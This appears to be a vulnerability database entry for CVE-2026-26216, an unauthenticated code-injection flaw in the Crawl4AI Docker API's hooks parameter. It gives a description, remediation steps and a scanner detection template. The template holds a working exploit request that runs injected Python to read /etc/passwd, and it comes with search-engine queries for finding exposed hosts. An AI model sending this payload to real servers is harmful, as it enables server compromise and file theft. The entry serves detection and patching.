Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Exploit for Code Injection in Kidocode Crawl4Ai | 25 Jul 202617:07 | – | githubexploit | |
| Exploit for Code Injection in Kidocode Crawl4Ai | 25 Jul 202617:07 | – | githubexploit | |
| CVE-2026-26216 | 12 Feb 202615:31 | – | attackerkb | |
| CVE-2026-26216 | 12 Feb 202617:30 | – | circl | |
| Crawl4AI 代码注入漏洞 | 12 Feb 202600:00 | – | cnnvd | |
| CVE-2026-26216 | 12 Feb 202615:31 | – | cve | |
| CVE-2026-26216 Crawl4AI < 0.8.0 Docker API Unauthenticated Remote Code Execution via Hooks Parameter | 12 Feb 202615:31 | – | cvelist | |
| Crawl4AI is Vulnerable to Remote Code Execution in Docker API via Hooks Parameter | 16 Jan 202620:59 | – | github | |
| Crawl4AI is Vulnerable to Remote Code Execution in Docker API via Hooks Parameter | 16 Jan 202600:00 | – | gitlab | |
| EXPLOIT-CVE-2026-26216 | 26 Sep 202620:12 | – | kitploit |
10
id: CVE-2026-26216
info:
name: Crawl4AI < 0.8.0 - Unauthenticated Remote Code Execution via Hooks Parameter
author: dishantmodi
severity: critical
description: |
Crawl4AI versions prior to 0.8.0 contain a remote code execution vulnerability in the Docker API deployment. The /crawl endpoint accepts a hooks parameter containing Python code that is executed using exec(). The __import__ builtin was included in the allowed builtins, allowing unauthenticated remote attackers to import arbitrary modules and execute system commands. Successful exploitation allows full server compromise, including arbitrary command execution, file read and write access, sensitive data exfiltration, and lateral movement within internal networks.
remediation: |
Upgrade to Crawl4AI 0.8.0 or later, which removes __import__ from allowed_builtins in hook_manager.py and disables hooks by default (CRAWL4AI_HOOKS_ENABLED=false). As an interim mitigation, disable the Docker API deployment or restrict network access to it and add authentication.
impact: |
An unauthenticated attacker can achieve full server compromise: arbitrary command execution, file read/write, exfiltration of environment variables and API keys, and lateral movement into internal networks.
reference:
- https://github.com/unclecode/crawl4ai/security/advisories/GHSA-5882-5rx9-xgxp
- https://www.vulncheck.com/advisories/crawl4ai-docker-api-unauthenticated-remote-code-execution-via-hooks-parameter
- https://github.com/unclecode/crawl4ai/blob/main/docs/blog/release-v0.8.0.md
- https://nvd.nist.gov/vuln/detail/CVE-2026-26216
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-26216
cwe-id: CWE-94
metadata:
verified: true
max-request: 1
shodan-query: http.html:"Crawl4AI"
fofa-query: body="Crawl4AI"
tags: cve,cve2026,crawl4ai,rce,python
http:
- raw:
- |
POST /crawl HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"urls":["https://example.com"],"hooks":{"code":{"on_page_context_created":"async def hook(page, context, **kwargs):\n _builtins = __import__('builtins')\n with _builtins.open('/etc/passwd', 'r') as _f:\n _data = _f.read(300)\n _os = __import__('os')\n raise _os.error('AEV-CANARY-{{randstr}}-' + _data)\n return page"},"timeout":30}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "AEV-CANARY-{{randstr}}-root:x:0:0"
- type: word
part: content_type
words:
- "application/json"
- type: status
status:
- 200
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Oct 2026 12:39Current
6.6Medium risk
Vulners AI Score6.6
CVSS 410
CVSS 3.110
EPSS0.01686
SSVC